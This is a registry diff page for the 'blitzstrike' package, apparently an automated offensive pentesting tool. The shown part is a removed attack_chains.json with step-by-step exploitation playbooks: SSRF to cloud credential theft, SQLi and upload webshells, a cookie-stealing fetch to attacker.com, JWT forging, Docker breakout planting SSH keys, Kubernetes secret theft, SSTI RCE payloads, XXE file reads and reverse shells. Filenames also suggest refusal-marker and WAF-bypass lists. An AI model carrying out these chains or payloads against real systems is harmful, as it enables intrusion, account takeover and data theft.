blitzstrike 1.0.82 → 1.0.83
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +22 -0
- package/README.md +24 -24
- package/THIRD-PARTY-NOTICES.md +1 -1
- package/docs/AUTONOMY.md +48 -136
- package/docs/usage.md +1 -1
- package/package.json +1 -1
- package/intelligence/ab_signals.json +0 -722
- package/intelligence/attack_chains.json +0 -666
- package/intelligence/awaiting_input_markers.json +0 -37
- package/intelligence/endpoint_patterns.json +0 -541
- package/intelligence/escalation_patterns.json +0 -224
- package/intelligence/file_extensions.json +0 -6
- package/intelligence/patterns.json +0 -437
- package/intelligence/refusal_markers.json +0 -35
- package/intelligence/scan_profiles.json +0 -40
- package/intelligence/skills.json +0 -1185
- package/intelligence/tools.json +0 -1292
- package/intelligence/tools_meta.json +0 -1247
- package/intelligence/unified_patterns.json +0 -2329
- package/intelligence/verification_patterns.json +0 -52
- package/intelligence/vuln_ontology.json +0 -189
- package/intelligence/waff_bypass.json +0 -677
|
@@ -1,666 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"_comment": "Attack Chains: Multi-stage exploitation paths. Each chain links findings into actionable escalation sequences. Edit here — never hardcode in Python. Fields: id (unique), name, description, triggers (keywords), steps (ordered actions with tool_hint and success_criteria), required_findings (must be confirmed), severity, estimated_time, detection_risk, prerequisites, post_exploitation.",
|
|
3
|
-
"min_severity": 3,
|
|
4
|
-
"chains": [
|
|
5
|
-
{
|
|
6
|
-
"id": "ssrf_cloud_metadata",
|
|
7
|
-
"name": "SSRF to Cloud Metadata Exfiltration",
|
|
8
|
-
"description": "Escalate SSRF to cloud metadata exfiltration and IAM credential theft for full cloud account compromise",
|
|
9
|
-
"triggers": ["ssrf", "server-side request forgery", "redirect", "internal request", "webhook", "fetch url", "metadata", "cloud", "169.254"],
|
|
10
|
-
"steps": [
|
|
11
|
-
{"order": 1, "description": "Confirm SSRF with callback to attacker-controlled server (interactsh/collaborator)", "tool_hint": "http_observe", "success_criteria": "DNS/HTTP callback received with target IP"},
|
|
12
|
-
{"order": 2, "description": "Access AWS IMDSv1 metadata at 169.254.169.254/latest/meta-data/", "tool_hint": "http_observe", "success_criteria": "200 OK with metadata content"},
|
|
13
|
-
{"order": 3, "description": "Steal IAM credentials from security-credentials/ endpoint", "tool_hint": "http_observe", "success_criteria": "AccessKeyId, SecretAccessKey, Token extracted"},
|
|
14
|
-
{"order": 4, "description": "Enumerate S3 buckets via aws s3 ls with stolen credentials", "tool_hint": "aws_cli", "success_criteria": "Bucket list obtained"},
|
|
15
|
-
{"order": 5, "description": "Dump sensitive data from S3 (backups, configs, logs)", "tool_hint": "aws_cli", "success_criteria": "Data exfiltrated"}
|
|
16
|
-
],
|
|
17
|
-
"required_findings": ["ssrf", "cloud"],
|
|
18
|
-
"severity": "CRITICAL",
|
|
19
|
-
"estimated_time": "15-30 minutes",
|
|
20
|
-
"detection_risk": "MEDIUM",
|
|
21
|
-
"prerequisites": ["AWS/GCP/Azure environment", "IMDSv1 enabled or SSRF with redirect"],
|
|
22
|
-
"post_exploitation": ["Full cloud account compromise", "Data breach from S3/RDS", "Lateral movement via IAM"]
|
|
23
|
-
},
|
|
24
|
-
{
|
|
25
|
-
"id": "sqli_to_rce",
|
|
26
|
-
"name": "SQL Injection to OS Command Execution",
|
|
27
|
-
"description": "Escalate SQLi to full RCE via INTO OUTFILE webshell or xp_cmdshell",
|
|
28
|
-
"triggers": ["sql injection", "sqli", "union select", "mysql", "mssql"],
|
|
29
|
-
"steps": [
|
|
30
|
-
{"order": 1, "description": "Confirm SQL injection with UNION-based or error-based technique", "tool_hint": "sqlmap", "success_criteria": "Database banner extracted"},
|
|
31
|
-
{"order": 2, "description": "Enumerate database schema: tables, columns, users", "tool_hint": "sqlmap", "success_criteria": "Schema map obtained"},
|
|
32
|
-
{"order": 3, "description": "Check write access: SELECT @@secure_file_priv", "tool_hint": "manual", "success_criteria": "Empty or writable path returned"},
|
|
33
|
-
{"order": 4, "description": "Write PHP webshell via INTO OUTFILE", "tool_hint": "manual", "success_criteria": "Webshell accessible via HTTP"},
|
|
34
|
-
{"order": 5, "description": "Execute OS commands via webshell", "tool_hint": "manual", "success_criteria": "id/whoami output returned"}
|
|
35
|
-
],
|
|
36
|
-
"required_findings": ["sql injection", "mysql"],
|
|
37
|
-
"severity": "CRITICAL",
|
|
38
|
-
"estimated_time": "30-60 minutes",
|
|
39
|
-
"detection_risk": "HIGH",
|
|
40
|
-
"prerequisites": ["MySQL with FILE privilege", "secure_file_priv allows write", "Web root path known"],
|
|
41
|
-
"post_exploitation": ["Full server compromise", "Database dump", "Lateral movement"]
|
|
42
|
-
},
|
|
43
|
-
{
|
|
44
|
-
"id": "xss_to_account_takeover",
|
|
45
|
-
"name": "XSS to Session Hijacking and Account Takeover",
|
|
46
|
-
"description": "Escalate XSS to cookie theft, session hijacking, and full account takeover",
|
|
47
|
-
"triggers": ["xss", "cross-site scripting", "script reflected", "dom xss", "script injection", "alert(", "cookie steal", "session hijack"],
|
|
48
|
-
"steps": [
|
|
49
|
-
{"order": 1, "description": "Confirm XSS with basic alert(1) payload", "tool_hint": "manual", "success_criteria": "Alert dialog appears"},
|
|
50
|
-
{"order": 2, "description": "Check for HttpOnly flag on session cookies", "tool_hint": "browser_devtools", "success_criteria": "HttpOnly NOT set"},
|
|
51
|
-
{"order": 3, "description": "Craft cookie stealer: fetch('https://attacker.com/?c='+document.cookie)", "tool_hint": "manual", "success_criteria": "Cookie received at attacker server"},
|
|
52
|
-
{"order": 4, "description": "Inject stored XSS in high-traffic page (profile, comment, dashboard)", "tool_hint": "manual", "success_criteria": "XSS triggers on page load for other users"},
|
|
53
|
-
{"order": 5, "description": "Hijack victim session by injecting stolen cookie", "tool_hint": "browser", "success_criteria": "Logged in as victim"}
|
|
54
|
-
],
|
|
55
|
-
"required_findings": ["xss", "cookie"],
|
|
56
|
-
"severity": "CRITICAL",
|
|
57
|
-
"estimated_time": "1-2 hours",
|
|
58
|
-
"detection_risk": "MEDIUM",
|
|
59
|
-
"prerequisites": ["HttpOnly not set", "XSS in persistent/stored location", "Victim visits infected page"],
|
|
60
|
-
"post_exploitation": ["Account takeover", "PII theft", "Financial fraud"]
|
|
61
|
-
},
|
|
62
|
-
{
|
|
63
|
-
"id": "idor_to_admin_takeover",
|
|
64
|
-
"name": "IDOR to Admin Account Takeover",
|
|
65
|
-
"description": "Exploit IDOR to enumerate users, find admin, and take over admin account",
|
|
66
|
-
"triggers": ["idor", "insecure direct object", "user_id", "account_id", "unauthorized access"],
|
|
67
|
-
"steps": [
|
|
68
|
-
{"order": 1, "description": "Confirm horizontal IDOR: change your user_id to adjacent ID", "tool_hint": "manual", "success_criteria": "Other user data returned"},
|
|
69
|
-
{"order": 2, "description": "Enumerate user IDs sequentially (1, 2, 3... 1000)", "tool_hint": "turbo_intruder", "success_criteria": "Admin user identified (role=admin)"},
|
|
70
|
-
{"order": 3, "description": "Access admin profile via IDOR: /api/user/{admin_id}", "tool_hint": "manual", "success_criteria": "Admin email, name, settings obtained"},
|
|
71
|
-
{"order": 4, "description": "Trigger password reset for admin account", "tool_hint": "manual", "success_criteria": "Reset token sent"},
|
|
72
|
-
{"order": 5, "description": "Intercept reset email via stored XSS or email injection", "tool_hint": "manual", "success_criteria": "Reset token captured"},
|
|
73
|
-
{"order": 6, "description": "Reset admin password and login", "tool_hint": "manual", "success_criteria": "Admin access confirmed"}
|
|
74
|
-
],
|
|
75
|
-
"required_findings": ["idor", "user"],
|
|
76
|
-
"severity": "CRITICAL",
|
|
77
|
-
"estimated_time": "2-4 hours",
|
|
78
|
-
"detection_risk": "MEDIUM",
|
|
79
|
-
"prerequisites": ["Sequential/guessable user IDs", "No rate limiting on password reset", "Email accessible via XSS"],
|
|
80
|
-
"post_exploitation": ["Full admin access", "User data breach", "Privilege escalation"]
|
|
81
|
-
},
|
|
82
|
-
{
|
|
83
|
-
"id": "file_upload_to_rce",
|
|
84
|
-
"name": "Unrestricted File Upload to RCE",
|
|
85
|
-
"description": "Bypass file upload restrictions to plant webshell and achieve RCE",
|
|
86
|
-
"triggers": ["upload", "file upload", "avatar", "attachment", "import file"],
|
|
87
|
-
"steps": [
|
|
88
|
-
{"order": 1, "description": "Test extension filter: upload shell.php, shell.php5, shell.phtml", "tool_hint": "manual", "success_criteria": "File uploaded and accessible"},
|
|
89
|
-
{"order": 2, "description": "Bypass MIME check: send PHP content with Content-Type: image/jpeg", "tool_hint": "burp", "success_criteria": "Upload accepted"},
|
|
90
|
-
{"order": 3, "description": "Bypass magic byte: GIF89a; <?php system($_GET['c']); ?>", "tool_hint": "manual", "success_criteria": "File passes signature check"},
|
|
91
|
-
{"order": 4, "description": "Double extension bypass: shell.php.jpg, shell.png.php", "tool_hint": "manual", "success_criteria": "Apache executes as PHP"},
|
|
92
|
-
{"order": 5, "description": "Access webshell: /uploads/shell.php?c=id", "tool_hint": "browser", "success_criteria": "Command output returned"}
|
|
93
|
-
],
|
|
94
|
-
"required_findings": ["upload", "webshell"],
|
|
95
|
-
"severity": "CRITICAL",
|
|
96
|
-
"estimated_time": "30-60 minutes",
|
|
97
|
-
"detection_risk": "HIGH",
|
|
98
|
-
"prerequisites": ["Upload functionality exists", "Weak/missing validation", "Apache/Nginx misconfiguration"],
|
|
99
|
-
"post_exploitation": ["Full server compromise", "Data exfiltration", "Pivot to internal network"]
|
|
100
|
-
},
|
|
101
|
-
{
|
|
102
|
-
"id": "lfi_to_rce_via_log_poisoning",
|
|
103
|
-
"name": "LFI to RCE via Log Poisoning",
|
|
104
|
-
"description": "Escalate LFI to RCE by poisoning Apache/Nginx logs with PHP payload in User-Agent",
|
|
105
|
-
"triggers": ["lfi", "path traversal", "include", "file inclusion", "../"],
|
|
106
|
-
"steps": [
|
|
107
|
-
{"order": 1, "description": "Confirm LFI: ../../../../etc/passwd returns root:x:0:0", "tool_hint": "manual", "success_criteria": "/etc/passwd content visible"},
|
|
108
|
-
{"order": 2, "description": "Poison Apache access.log: User-Agent: <?php system($_GET['c']); ?>", "tool_hint": "curl", "success_criteria": "Payload logged in /var/log/apache/access.log"},
|
|
109
|
-
{"order": 3, "description": "Include poisoned log via LFI: ../../var/log/apache/access.log", "tool_hint": "manual", "success_criteria": "PHP payload executed"},
|
|
110
|
-
{"order": 4, "description": "Execute commands: ?c=id", "tool_hint": "browser", "success_criteria": "Command output returned"}
|
|
111
|
-
],
|
|
112
|
-
"required_findings": ["lfi", "log"],
|
|
113
|
-
"severity": "CRITICAL",
|
|
114
|
-
"estimated_time": "1-2 hours",
|
|
115
|
-
"detection_risk": "MEDIUM",
|
|
116
|
-
"prerequisites": ["Apache/Nginx with writable logs", "Log path known", "PHP payload not filtered"],
|
|
117
|
-
"post_exploitation": ["Full server compromise", "Webshell persistence", "Lateral movement"]
|
|
118
|
-
},
|
|
119
|
-
{
|
|
120
|
-
"id": "jwt_algorithm_confusion",
|
|
121
|
-
"name": "JWT Algorithm Confusion Attack",
|
|
122
|
-
"description": "Exploit RS256 to HS256 confusion or alg:none bypass to forge admin JWT",
|
|
123
|
-
"triggers": ["jwt", "bearer token", "json web token", "eyj", "token"],
|
|
124
|
-
"steps": [
|
|
125
|
-
{"order": 1, "description": "Capture JWT from Authorization: Bearer header", "tool_hint": "browser_devtools", "success_criteria": "JWT token obtained"},
|
|
126
|
-
{"order": 2, "description": "Decode JWT and inspect header: check alg (RS256/HS256)", "tool_hint": "jwt.io", "success_criteria": "Algorithm identified"},
|
|
127
|
-
{"order": 3, "description": "Test alg:none: change header to {\"alg\":\"none\"}, remove signature", "tool_hint": "jwt_tool", "success_criteria": "Server accepts unsigned token"},
|
|
128
|
-
{"order": 4, "description": "Test RS256→HS256: sign with public key as HMAC secret", "tool_hint": "jwt_tool", "success_criteria": "Server accepts HS256 token"},
|
|
129
|
-
{"order": 5, "description": "Forge admin claims: {\"role\":\"admin\",\"isAdmin\":true}", "tool_hint": "jwt_tool", "success_criteria": "Admin access granted"}
|
|
130
|
-
],
|
|
131
|
-
"required_findings": ["jwt", "token"],
|
|
132
|
-
"severity": "CRITICAL",
|
|
133
|
-
"estimated_time": "30-60 minutes",
|
|
134
|
-
"detection_risk": "LOW",
|
|
135
|
-
"prerequisites": ["JWT-based auth", "Vulnerable library (node-jose, jose2go)"],
|
|
136
|
-
"post_exploitation": ["Admin account takeover", "Privilege escalation", "Data breach"]
|
|
137
|
-
},
|
|
138
|
-
{
|
|
139
|
-
"id": "oauth_redirect_bypass",
|
|
140
|
-
"name": "OAuth Redirect URI Bypass and Token Theft",
|
|
141
|
-
"description": "Bypass OAuth redirect_uri validation to steal authorization codes and access tokens",
|
|
142
|
-
"triggers": ["oauth", "openid", "authorize", "redirect_uri", "callback"],
|
|
143
|
-
"steps": [
|
|
144
|
-
{"order": 1, "description": "Identify OAuth flow: /authorize?client_id=X&redirect_uri=Y", "tool_hint": "browser_devtools", "success_criteria": "OAuth endpoint found"},
|
|
145
|
-
{"order": 2, "description": "Test open redirect: redirect_uri=https://attacker.com", "tool_hint": "manual", "success_criteria": "Redirect accepted"},
|
|
146
|
-
{"order": 3, "description": "Bypass allowlist: https://target.com.attacker.com or https://target.com@attacker.com", "tool_hint": "manual", "success_criteria": "Allowlist bypassed"},
|
|
147
|
-
{"order": 4, "description": "Craft malicious OAuth URL and send to victim", "tool_hint": "manual", "success_criteria": "Victim clicks link"},
|
|
148
|
-
{"order": 5, "description": "Capture authorization code from Referer header", "tool_hint": "burp", "success_criteria": "Auth code obtained"},
|
|
149
|
-
{"order": 6, "description": "Exchange code for access token", "tool_hint": "curl", "success_criteria": "Access token received"}
|
|
150
|
-
],
|
|
151
|
-
"required_findings": ["oauth", "redirect"],
|
|
152
|
-
"severity": "CRITICAL",
|
|
153
|
-
"estimated_time": "1-2 hours",
|
|
154
|
-
"detection_risk": "LOW",
|
|
155
|
-
"prerequisites": ["OAuth implementation", "Weak redirect_uri validation"],
|
|
156
|
-
"post_exploitation": ["Account takeover", "Session hijacking", "API access"]
|
|
157
|
-
},
|
|
158
|
-
{
|
|
159
|
-
"id": "docker_container_breakout",
|
|
160
|
-
"name": "Docker Container Breakout to Host Compromise",
|
|
161
|
-
"description": "Escape privileged Docker container to compromise underlying host",
|
|
162
|
-
"triggers": ["docker", "container", "privileged", "namespace"],
|
|
163
|
-
"steps": [
|
|
164
|
-
{"order": 1, "description": "Confirm container access via RCE or exposed Docker socket", "tool_hint": "manual", "success_criteria": "Inside container confirmed"},
|
|
165
|
-
{"order": 2, "description": "Check for privileged flag: cat /proc/1/status | grep Cap", "tool_hint": "manual", "success_criteria": "CapSysAdmin or Privileged: true"},
|
|
166
|
-
{"order": 3, "description": "Mount host filesystem: mkdir /host && mount /dev/sda1 /host", "tool_hint": "manual", "success_criteria": "Host FS accessible"},
|
|
167
|
-
{"order": 4, "description": "Add SSH key to host: echo attacker_key >> /host/root/.ssh/authorized_keys", "tool_hint": "manual", "success_criteria": "SSH key planted"},
|
|
168
|
-
{"order": 5, "description": "SSH to host with planted key", "tool_hint": "ssh", "success_criteria": "Host access confirmed"}
|
|
169
|
-
],
|
|
170
|
-
"required_findings": ["docker", "container"],
|
|
171
|
-
"severity": "CRITICAL",
|
|
172
|
-
"estimated_time": "30-60 minutes",
|
|
173
|
-
"detection_risk": "HIGH",
|
|
174
|
-
"prerequisites": ["Privileged container", "Host device accessible", "No AppArmor/SELinux"],
|
|
175
|
-
"post_exploitation": ["Full host compromise", "Container escape", "Cluster pivot"]
|
|
176
|
-
},
|
|
177
|
-
{
|
|
178
|
-
"id": "kubernetes_pod_escape",
|
|
179
|
-
"name": "Kubernetes Pod Escape to Cluster Compromise",
|
|
180
|
-
"description": "Escape K8s pod via service account token theft and RBAC abuse",
|
|
181
|
-
"triggers": ["kubernetes", "k8s", "pod", "service account", "rbac"],
|
|
182
|
-
"steps": [
|
|
183
|
-
{"order": 1, "description": "Access pod: kubectl exec or RCE via app vulnerability", "tool_hint": "kubectl", "success_criteria": "Inside pod confirmed"},
|
|
184
|
-
{"order": 2, "description": "Steal service account token: cat /var/run/secrets/kubernetes.io/serviceaccount/token", "tool_hint": "manual", "success_criteria": "JWT token obtained"},
|
|
185
|
-
{"order": 3, "description": "Enumerate RBAC permissions: kubectl auth can-i --list", "tool_hint": "kubectl", "success_criteria": "Permissions list obtained"},
|
|
186
|
-
{"order": 4, "description": "Create privileged pod or access secrets", "tool_hint": "kubectl", "success_criteria": "Privileged access confirmed"},
|
|
187
|
-
{"order": 5, "description": "Extract cluster secrets from etcd or Secrets API", "tool_hint": "kubectl", "success_criteria": "Secrets dumped"}
|
|
188
|
-
],
|
|
189
|
-
"required_findings": ["kubernetes", "pod"],
|
|
190
|
-
"severity": "CRITICAL",
|
|
191
|
-
"estimated_time": "1-3 hours",
|
|
192
|
-
"detection_risk": "MEDIUM",
|
|
193
|
-
"prerequisites": ["K8s cluster access", "Over-permissive service account", "RBAC misconfiguration"],
|
|
194
|
-
"post_exploitation": ["Full cluster compromise", "Secret theft", "Supply chain attack"]
|
|
195
|
-
},
|
|
196
|
-
{
|
|
197
|
-
"id": "ssti_to_full_rce",
|
|
198
|
-
"name": "SSTI to Full RCE",
|
|
199
|
-
"description": "Escalate Server-Side Template Injection to OS command execution",
|
|
200
|
-
"triggers": ["ssti", "template injection", "49 in response", "jinja", "twig", "freemarker"],
|
|
201
|
-
"steps": [
|
|
202
|
-
{"order": 1, "description": "Confirm SSTI: {{7*7}} returns 49 in response", "tool_hint": "manual", "success_criteria": "Math evaluated server-side"},
|
|
203
|
-
{"order": 2, "description": "Identify template engine: probe Jinja2, Twig, Freemarker payloads", "tool_hint": "tplmap", "success_criteria": "Engine identified"},
|
|
204
|
-
{"order": 3, "description": "Escalate to RCE: Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}}", "tool_hint": "manual", "success_criteria": "Command output returned"},
|
|
205
|
-
{"order": 4, "description": "Exfiltrate environment variables and secrets", "tool_hint": "manual", "success_criteria": "DB credentials, API keys obtained"}
|
|
206
|
-
],
|
|
207
|
-
"required_findings": ["template", "ssti"],
|
|
208
|
-
"severity": "CRITICAL",
|
|
209
|
-
"estimated_time": "30-60 minutes",
|
|
210
|
-
"detection_risk": "MEDIUM",
|
|
211
|
-
"prerequisites": ["Server-side template rendering", "User input in template context"],
|
|
212
|
-
"post_exploitation": ["Full server compromise", "Credential theft", "Data exfiltration"]
|
|
213
|
-
},
|
|
214
|
-
{
|
|
215
|
-
"id": "prototype_pollution_to_rce",
|
|
216
|
-
"name": "Prototype Pollution to RCE",
|
|
217
|
-
"description": "Exploit JavaScript prototype pollution to achieve RCE via gadget chain",
|
|
218
|
-
"triggers": ["prototype pollution", "__proto__", "lodash", "merge", "nodejs"],
|
|
219
|
-
"steps": [
|
|
220
|
-
{"order": 1, "description": "Confirm prototype pollution: POST {\"__proto__\":{\"isAdmin\":true}}", "tool_hint": "manual", "success_criteria": "Privilege escalation confirmed"},
|
|
221
|
-
{"order": 2, "description": "Identify merge library: lodash, deepmerge, jQuery extend", "tool_hint": "source_analysis", "success_criteria": "Vulnerable library found"},
|
|
222
|
-
{"order": 3, "description": "Pollute process.binding or spawnprototype for RCE", "tool_hint": "manual", "success_criteria": "Command execution gadget triggered"},
|
|
223
|
-
{"order": 4, "description": "Execute OS command via prototype chain", "tool_hint": "manual", "success_criteria": "id/whoami output returned"}
|
|
224
|
-
],
|
|
225
|
-
"required_findings": ["prototype", "nodejs"],
|
|
226
|
-
"severity": "CRITICAL",
|
|
227
|
-
"estimated_time": "1-2 hours",
|
|
228
|
-
"detection_risk": "LOW",
|
|
229
|
-
"prerequisites": ["Node.js application", "Deep merge operation", "Gadget chain available"],
|
|
230
|
-
"post_exploitation": ["Full server compromise", "Supply chain attack", "Data breach"]
|
|
231
|
-
},
|
|
232
|
-
{
|
|
233
|
-
"id": "xxe_to_ssrf_and_file_read",
|
|
234
|
-
"name": "XXE to SSRF and File Read",
|
|
235
|
-
"description": "Exploit XXE to read internal files and perform SSRF to internal services",
|
|
236
|
-
"triggers": ["xxe", "xml external entity", "doctype", "xml injection", "svg upload"],
|
|
237
|
-
"steps": [
|
|
238
|
-
{"order": 1, "description": "Confirm XXE: inject <!DOCTYPE x [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>", "tool_hint": "manual", "success_criteria": "/etc/passwd content returned"},
|
|
239
|
-
{"order": 2, "description": "Read sensitive files: /etc/passwd, /etc/shadow, ~/.ssh/id_rsa", "tool_hint": "manual", "success_criteria": "Credentials obtained"},
|
|
240
|
-
{"order": 3, "description": "SSRF via XXE: SYSTEM 'http://169.254.169.254/latest/meta-data/'", "tool_hint": "manual", "success_criteria": "Cloud metadata returned"},
|
|
241
|
-
{"order": 4, "description": "Internal port scan via XXE: http://192.168.1.1:22, :80, :443", "tool_hint": "manual", "success_criteria": "Internal services enumerated"}
|
|
242
|
-
],
|
|
243
|
-
"required_findings": ["xxe", "xml"],
|
|
244
|
-
"severity": "CRITICAL",
|
|
245
|
-
"estimated_time": "30-60 minutes",
|
|
246
|
-
"detection_risk": "MEDIUM",
|
|
247
|
-
"prerequisites": ["XML parsing enabled", "External entities not disabled", "DOCTYPE allowed"],
|
|
248
|
-
"post_exploitation": ["Credential theft", "Internal network mapping", "Cloud account compromise"]
|
|
249
|
-
},
|
|
250
|
-
{
|
|
251
|
-
"id": "graphql_idor_to_data_theft",
|
|
252
|
-
"name": "GraphQL IDOR to Mass Data Theft",
|
|
253
|
-
"description": "Exploit GraphQL IDOR via node() query to exfiltrate cross-user data at scale",
|
|
254
|
-
"triggers": ["graphql", "gql", "introspection", "node(", "apollo"],
|
|
255
|
-
"steps": [
|
|
256
|
-
{"order": 1, "description": "Enable introspection: query { __schema { types { name } } }", "tool_hint": "graphql_playground", "success_criteria": "Schema dumped"},
|
|
257
|
-
{"order": 2, "description": "Identify node() or object query accepting ID parameter", "tool_hint": "introspection", "success_criteria": "Query signature found"},
|
|
258
|
-
{"order": 3, "description": "Test IDOR: query { node(id: \"gid://User/123\") { ...on User { email role } } }", "tool_hint": "manual", "success_criteria": "Cross-user data returned"},
|
|
259
|
-
{"order": 4, "description": "Batch enumerate all user IDs via script", "tool_hint": "inql", "success_criteria": "All user data extracted"},
|
|
260
|
-
{"order": 5, "description": "Exfiltrate sensitive fields: emails, roles, API keys", "tool_hint": "manual", "success_criteria": "Data breach confirmed"}
|
|
261
|
-
],
|
|
262
|
-
"required_findings": ["graphql", "idor"],
|
|
263
|
-
"severity": "CRITICAL",
|
|
264
|
-
"estimated_time": "1-2 hours",
|
|
265
|
-
"detection_risk": "LOW",
|
|
266
|
-
"prerequisites": ["GraphQL endpoint", "Introspection enabled", "No authorization on node()"],
|
|
267
|
-
"post_exploitation": ["Mass data breach", "Credential theft", "PII exposure"]
|
|
268
|
-
},
|
|
269
|
-
{
|
|
270
|
-
"id": "deserialization_to_rce",
|
|
271
|
-
"name": "Insecure Deserialization to RCE",
|
|
272
|
-
"description": "Exploit unsafe deserialization to achieve RCE via gadget chains",
|
|
273
|
-
"triggers": ["deserializ", "pickle", "viewstate", "java.io", "marshal", "phpobject"],
|
|
274
|
-
"steps": [
|
|
275
|
-
{"order": 1, "description": "Identify deserialization: base64/rO0AB/PHPserialize in cookie/POST", "tool_hint": "manual", "success_criteria": "Serialized object confirmed"},
|
|
276
|
-
{"order": 2, "description": "Identify language/framework: Java (rO0AB), PHP (O:8:), Python (pickle)", "tool_hint": "manual", "success_criteria": "Technology identified"},
|
|
277
|
-
{"order": 3, "description": "Generate gadget payload: ysoserial CommonsCollections5 'nslookup attacker.com'", "tool_hint": "ysoserial", "success_criteria": "DNS callback received"},
|
|
278
|
-
{"order": 4, "description": "Upgrade to RCE: reverse shell payload", "tool_hint": "ysoserial", "success_criteria": "Shell received"}
|
|
279
|
-
],
|
|
280
|
-
"required_findings": ["deserializ", "java"],
|
|
281
|
-
"severity": "CRITICAL",
|
|
282
|
-
"estimated_time": "1-3 hours",
|
|
283
|
-
"detection_risk": "MEDIUM",
|
|
284
|
-
"prerequisites": ["Deserialization endpoint", "Vulnerable library", "Gadget chain available"],
|
|
285
|
-
"post_exploitation": ["Full server compromise", "Data exfiltration", "Lateral movement"]
|
|
286
|
-
},
|
|
287
|
-
{
|
|
288
|
-
"id": "cache_poison_to_stored_xss",
|
|
289
|
-
"name": "Cache Poisoning to Stored XSS",
|
|
290
|
-
"description": "Poison web cache with XSS payload to affect all users visiting cached URL",
|
|
291
|
-
"triggers": ["cache poisoning", "web cache", "cdn", "varnish", "unkeyed header"],
|
|
292
|
-
"steps": [
|
|
293
|
-
{"order": 1, "description": "Identify unkeyed header: X-Forwarded-Host, X-Original-URL", "tool_hint": "param_miner", "success_criteria": "Header reflected but not in cache key"},
|
|
294
|
-
{"order": 2, "description": "Inject XSS via unkeyed header: X-Forwarded-Host: <script>alert(1)</script>", "tool_hint": "manual", "success_criteria": "XSS reflected in response"},
|
|
295
|
-
{"order": 3, "description": "Poison cache: send request with unique cachebuster, verify stored", "tool_hint": "manual", "success_criteria": "XSS appears without malicious header"},
|
|
296
|
-
{"order": 4, "description": "Mass impact: all users visiting cached URL trigger XSS", "tool_hint": "manual", "success_criteria": "Victim session hijacked"}
|
|
297
|
-
],
|
|
298
|
-
"required_findings": ["cache", "xss"],
|
|
299
|
-
"severity": "CRITICAL",
|
|
300
|
-
"estimated_time": "1-2 hours",
|
|
301
|
-
"detection_risk": "LOW",
|
|
302
|
-
"prerequisites": ["Web cache (Varnish, CloudFront)", "Unkeyed header reflection", "No Cache-Control on dynamic content"],
|
|
303
|
-
"post_exploitation": ["Mass session hijacking", "Credential theft", "Malware distribution"]
|
|
304
|
-
},
|
|
305
|
-
{
|
|
306
|
-
"id": "http_smuggling_to_auth_bypass",
|
|
307
|
-
"name": "HTTP Request Smuggling to Auth Bypass",
|
|
308
|
-
"description": "Smuggle HTTP request past WAF to access protected admin endpoints",
|
|
309
|
-
"triggers": ["http smuggling", "request smuggling", "cl.te", "te.cl", "desync"],
|
|
310
|
-
"steps": [
|
|
311
|
-
{"order": 1, "description": "Probe for CL.TE: send Content-Length: 6 + Transfer-Encoding: chunked", "tool_hint": "smuggler", "success_criteria": "Request queued (X appears in next response)"},
|
|
312
|
-
{"order": 2, "description": "Smuggle prefix to admin endpoint: GET /admin HTTP/1.1", "tool_hint": "manual", "success_criteria": "Admin response in subsequent request"},
|
|
313
|
-
{"order": 3, "description": "Bypass WAF: smuggle malicious request that frontend doesn't see", "tool_hint": "manual", "success_criteria": "WAF bypassed"},
|
|
314
|
-
{"order": 4, "description": "Access privileged functionality without authentication", "tool_hint": "manual", "success_criteria": "Admin action performed"}
|
|
315
|
-
],
|
|
316
|
-
"required_findings": ["smuggling", "admin"],
|
|
317
|
-
"severity": "CRITICAL",
|
|
318
|
-
"estimated_time": "2-4 hours",
|
|
319
|
-
"detection_risk": "LOW",
|
|
320
|
-
"prerequisites": ["HTTP/1.1 frontend + HTTP/2 backend", "Different HTTP parsers", "WAF in front"],
|
|
321
|
-
"post_exploitation": ["Auth bypass", "Admin access", "Data breach"]
|
|
322
|
-
},
|
|
323
|
-
{
|
|
324
|
-
"id": "path_traversal_to_credential_theft",
|
|
325
|
-
"name": "Path Traversal to Credential Theft and Lateral Movement",
|
|
326
|
-
"description": "Exploit path traversal to read credentials and pivot to internal services",
|
|
327
|
-
"triggers": ["path traversal", "directory traversal", "lfi", "../", "etc/passwd"],
|
|
328
|
-
"steps": [
|
|
329
|
-
{"order": 1, "description": "Confirm LFI: ../../../../etc/passwd returns root:x:0:0", "tool_hint": "manual", "success_criteria": "File content visible"},
|
|
330
|
-
{"order": 2, "description": "Read application configs: .env, config.php, database.yml", "tool_hint": "manual", "success_criteria": "DB credentials obtained"},
|
|
331
|
-
{"order": 3, "description": "Read SSH keys: ~/.ssh/id_rsa, /root/.ssh/authorized_keys", "tool_hint": "manual", "success_criteria": "SSH key obtained"},
|
|
332
|
-
{"order": 4, "description": "SSH to internal server with stolen key", "tool_hint": "ssh", "success_criteria": "Internal access confirmed"}
|
|
333
|
-
],
|
|
334
|
-
"required_findings": ["traversal", "path"],
|
|
335
|
-
"severity": "CRITICAL",
|
|
336
|
-
"estimated_time": "1-2 hours",
|
|
337
|
-
"detection_risk": "MEDIUM",
|
|
338
|
-
"prerequisites": ["LFI vulnerability", "Readable credential files", "SSH accessible"],
|
|
339
|
-
"post_exploitation": ["Credential theft", "Lateral movement", "Internal pivot"]
|
|
340
|
-
},
|
|
341
|
-
{
|
|
342
|
-
"id": "second_order_sqli",
|
|
343
|
-
"name": "Second-Order SQL Injection via Stored Input",
|
|
344
|
-
"description": "Store SQLi payload in profile field, triggers when admin queries data",
|
|
345
|
-
"triggers": ["sql injection", "stored sqli", "second-order", "profile", "username"],
|
|
346
|
-
"steps": [
|
|
347
|
-
{"order": 1, "description": "Identify stored input: username, bio, comment, note field", "tool_hint": "manual", "success_criteria": "Input persisted in database"},
|
|
348
|
-
{"order": 2, "description": "Store SQLi payload: admin' UNION SELECT password FROM users--", "tool_hint": "manual", "success_criteria": "Payload stored without error"},
|
|
349
|
-
{"order": 3, "description": "Trigger execution: admin views profile/search results", "tool_hint": "manual", "success_criteria": "SQL error or data leakage"},
|
|
350
|
-
{"order": 4, "description": "Extract sensitive data via second-order injection", "tool_hint": "manual", "success_criteria": "Passwords/emails dumped"}
|
|
351
|
-
],
|
|
352
|
-
"required_findings": ["sql injection", "stored"],
|
|
353
|
-
"severity": "HIGH",
|
|
354
|
-
"estimated_time": "2-4 hours",
|
|
355
|
-
"detection_risk": "LOW",
|
|
356
|
-
